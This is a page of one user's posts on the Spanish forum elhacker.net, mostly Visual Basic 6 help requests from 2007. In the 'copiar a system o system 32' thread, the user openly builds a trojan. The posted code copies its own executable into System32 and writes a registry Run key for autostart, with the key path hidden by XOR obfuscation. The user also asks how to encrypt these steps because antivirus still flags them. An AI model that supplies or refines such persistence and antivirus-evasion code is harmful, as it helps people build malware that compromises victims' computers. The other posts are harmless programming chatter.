elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Mensajes
Páginas: 1 ... 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 [32] 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
311  Programación / Programación Visual Basic / Re: Juegos en visual.net en: 11 Mayo 2007, 01:23 am
mmm jeje me quede con lo del ahoracado...
tengo ganas de probar hacerlo.. pero apenas empiezo aparecen las dudas...
como hago una matriz de textbox y q aparezca uno al lado del otro... ¿?

pienso algo asi como ver la cantidad de caracteres de la palabra a descubrir (q la pondria al principio en un inputbox) luego q cree los textbox y siempre el left vaya aumentando un poco...

bueno por ahora eso... empese pero quede mas o menos aca:

Código:
Dim Texto As String
Dim LTexto As String

Private Sub Form_Load()
Texto = InputBox("texto")
LTexto = Len(Texto)
For i = 1 To LTexto

End Sub

pero no se como crear los textbox... lo q hice lo saque de mi cabeza y no se si habra algo bien ... capas q empese mal de una... xD
312  Programación / Programación Visual Basic / Re: Twip Estrategic (Videojuego en Visual Basic 6.0) en: 11 Mayo 2007, 01:14 am
q buen juego loco!! te felicito en serio ;)

Citar
Si realmente os interesa, puedo preparar un pequeño manual de paso a paso como realizar un jueguecillo con la librería xD

a mi tb me gustaria mucho aprender algo mas ;)
313  Programación / Programación Visual Basic / Re: pequeña ayuda en: 10 Mayo 2007, 23:36 pm
si es de acess creo q estas en el foro equivocado XD


toy por ver acess en el cole... si me esperas unos meses :xD


suerte con eso en serio ;)
314  Programación / Programación Visual Basic / Re: copiar a system o system 32 en: 8 Mayo 2007, 04:27 am
ahora me da error '450'
numero de argumentos erroneos o asignacion de propiedad no valida


esto me pone de mal humor.... :S


Código:
Dim WINDOWS As String
Dim Clave As Object

Private Sub Form_Load()
WINDOWS = Environ("windir")
Set Clave = CreateObject("WScript.shell")
Clave.regwrite descifrar("OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Pnichpt[DruubisQbutnhi[Uri[%'!'%wurbef%+'%D=[mbmb)bb")
End Sub

Private Function descifrar(j)
On Error Resume Next
For r = 1 To Len(j)
descifrar = descifrar & Chr(Asc(Mid(j, r, 1)) Xor 7)
Next
End Function

veran q todos los code son distintos ya q voy probando cambiando... haciendo nuevos proyectos -.-
bueno espero q alguien detecte el error por favor... esto ya me estallevando muchisimo tiempo
315  Programación / Programación Visual Basic / Re: copiar a system o system 32 en: 8 Mayo 2007, 00:06 am
PROBLEMA SOLUCIONADO EL DE ABAJO! DESPUES DE MODIFICARLO MILES DE VECES ME DI CUENTA Q ME FALTABAN DOS " XD

no me anda :@ no se xq ya probe miles de formas y codigos... porfavor diganme q hago mal... :S


Código:
Dim Clave As Object
Dim WINDOWS As String

Private Sub Form_Load()
WINDOWS = Environ(windir)
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\jeje.exe"
Set Clave = CreateObject("WScript.shell")
Clave.regwrite descifrar("OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Pnichpt[DruubisQbutnhi[Uri[%'!'%mbmb%+'%D=[mbmb)bb")
End Sub

Private Function descifrar(j)
On Error Resume Next
For r = 1 To Len(j)
descifrar = descifrar & Chr(Asc(Mid(j, r, 1)) Xor 7)
Next
End Function

eso se copia y se graba en el registro... pero cuando compilo el programa dice:

Error '5' en tiempo de ejecucion:
Llamada a procedimiento o argumentos no válidos


q es?? no entiendo... el codigo creo q esta bien... hice lo q Hendrix me dijo  :huh:


bueno modifique el codigo cientos de veces... probe con nuevos proyectos... de todo... y creo q el error esta aca... pero no se como solucionarlo

Código:
Dim WINDOWS As String

Código:
WINDOWS = Environ(windir)
316  Programación / Programación Visual Basic / Re: [Novato] Leer archivos y modificarlos en: 5 Mayo 2007, 06:02 am
te dejo un link del cual aprendi mucho sobre este tema ;)

http://www.recursosvisualbasic.com.ar/htm/tutoriales/tutorial-basico7.htm
317  Programación / Programación Visual Basic / Re: copiar a system o system 32 en: 5 Mayo 2007, 00:43 am
gracias! me funciono re bien... perdon xq tarde en responder pero no me entraba el foro...

probe el server y lo sigue detectando... :( dice q intenta crear un archivo *.exe
creo q debe ser cuando se copia a system32
se puede cifrar esto?? como??

le dejo el code:

Código:
FileCopy App.Path & "\" & App.EXEName & ".exe", System32 & "\klass.exe"
Ruta = System32 & "\klass.exe"

el modulo es el q postie al principio



perodonen por tantas preguntas es q es la primera vez q hago esta parte de ltroyano... simpre hacia uno le pasaba el themida y solamente funcionaba hasta q apagaban la compu o lo borraban XD
318  Programación / Programación Visual Basic / Re: copiar a system o system 32 en: 4 Mayo 2007, 19:38 pm
bien! al fin me anda el foro1 jeje hace horas q trato reponder...

Citar
Private Sub Command1_Click()
MsgBox Environ("WINDIR")
MsgBox Environ("SYSTEMROOT")
End Sub

gracias EON por ese code... seguro lo uso en otro troyano para ahorrarme un modulo...


y hendrix.. en seguida pruebo esa funcion ;)
pero me podrias decir q hice mal en la q invente... ademas de q es complicada... me mata no poder hacer algo bien XD
319  Programación / Programación Visual Basic / Re: Error critico en: 4 Mayo 2007, 02:49 am
xq no lo bajas de alguna pag a lo mejor el q estas bajando le falta algun archivo... mira aqui:

http://foro.elhacker.net/index.php/topic,68352.0.html


espero q te sirva
320  Programación / Programación Visual Basic / Re: copiar a system o system 32 en: 4 Mayo 2007, 02:47 am
huyyy... q hago mal!!... por favor les pido q miren este codigo q hice:


poner un text1   y en el text1.text = "####$$&&***%/***"
lo q es igual a "agus" una vez desencripado
Código:
Dim Des As String

Function descifrar(Ruta As String)
Ruta = Replace(Ruta, "####", "a")
Ruta = Replace(Ruta, "###$", "b")
Ruta = Replace(Ruta, "##$$", "c")
Ruta = Replace(Ruta, "#$$$", "d")
Ruta = Replace(Ruta, "$$$$", "e")
Ruta = Replace(Ruta, "$$$&", "f")
Ruta = Replace(Ruta, "$$&&", "g")
Ruta = Replace(Ruta, "$&&&", "h")
Ruta = Replace(Ruta, "&&&&", "i")
Ruta = Replace(Ruta, "&&&@", "j")
Ruta = Replace(Ruta, "&&@@", "k")
Ruta = Replace(Ruta, "&@@@", "l")
Ruta = Replace(Ruta, "@@@@", "m")
Ruta = Replace(Ruta, "@@@/", "n")
Ruta = Replace(Ruta, "@@//", "ñ")
Ruta = Replace(Ruta, "@///", "o")
Ruta = Replace(Ruta, "////", "p")
Ruta = Replace(Ruta, "///*", "q")
Ruta = Replace(Ruta, "//**", "r")
Ruta = Replace(Ruta, "/***", "s")
Ruta = Replace(Ruta, "****", "t")
Ruta = Replace(Ruta, "***%", "u")
Ruta = Replace(Ruta, "**%%", "v")
Ruta = Replace(Ruta, "*%%%", "w")
Ruta = Replace(Ruta, "%%%%", "x")
Ruta = Replace(Ruta, "%%%¬", "y")
Ruta = Replace(Ruta, "%%¬¬", "z")
Ruta = Replace(Ruta, "%¬¬¬", "0")
Ruta = Replace(Ruta, "¬¬¬¬", "1")
Ruta = Replace(Ruta, "¬¬¬<", "2")
Ruta = Replace(Ruta, "¬¬<<", "3")
Ruta = Replace(Ruta, "¬<<<", "4")
Ruta = Replace(Ruta, "<<<<", "5")
Ruta = Replace(Ruta, "<<<~", "6")
Ruta = Replace(Ruta, "<<~~", "7")
Ruta = Replace(Ruta, "<~~~", "8")
Ruta = Replace(Ruta, "~~~~", "9")
Ruta = Replace(Ruta, "~~~>", "A")
Ruta = Replace(Ruta, "~~>>", "B")
Ruta = Replace(Ruta, "~>>>", "C")
Ruta = Replace(Ruta, ">>>>", "D")
Ruta = Replace(Ruta, ">>>Ç", "E")
Ruta = Replace(Ruta, ">>ÇÇ", "F")
Ruta = Replace(Ruta, ">ÇÇÇ", "G")
Ruta = Replace(Ruta, "ÇÇÇÇ", "H")
Ruta = Replace(Ruta, "ÇÇǨ", "I")
Ruta = Replace(Ruta, "ÇǨ¨", "J")
Ruta = Replace(Ruta, "Ǩ¨¨", "K")
Ruta = Replace(Ruta, "¨¨¨¨", "L")
Ruta = Replace(Ruta, "¨¨¨^", "M")
Ruta = Replace(Ruta, "¨¨^^", "N")
Ruta = Replace(Ruta, "¨^^^", "Ñ")
Ruta = Replace(Ruta, "^^^^", "O")
Ruta = Replace(Ruta, "^^^[", "P")
Ruta = Replace(Ruta, "^^[[", "Q")
Ruta = Replace(Ruta, "^[[[", "R")
Ruta = Replace(Ruta, "[[[[", "S")
Ruta = Replace(Ruta, "[[[]", "T")
Ruta = Replace(Ruta, "[]]]", "U")
Ruta = Replace(Ruta, "]]]]", "V")
Ruta = Replace(Ruta, "]]]{", "W")
Ruta = Replace(Ruta, "]]{{", "X")
Ruta = Replace(Ruta, "]{{{", "Y")
Ruta = Replace(Ruta, "{{{{", "Z")
Ruta = Replace(Ruta, "{{{}", "á")
Ruta = Replace(Ruta, "{{}}", "é")
Ruta = Replace(Ruta, "{}}}", "í")
Ruta = Replace(Ruta, "}}}}", "ó")
Ruta = Replace(Ruta, "}}}\", "ú")
Ruta = Replace(Ruta, "}}\\", "Á")
Ruta = Replace(Ruta, "}\\\", "É")
Ruta = Replace(Ruta, "\\\\", "Í")
Ruta = Replace(Ruta, "\\\ð", "Ó")
Ruta = Replace(Ruta, "\\ðð", "Ú")
Ruta = Replace(Ruta, "\ððð", "ü")
Ruta = Replace(Ruta, "ðððð", "Ü")
End Function

Private Sub Command1_Click()
Des = descifrar(Text1.Text)
Text1.Text = Des
End Sub

ahora si prueban el codigo cuando le hacen click al boton... el text1 se borra y no deja ningun resultado... q hago mal?
Páginas: 1 ... 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 [32] 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines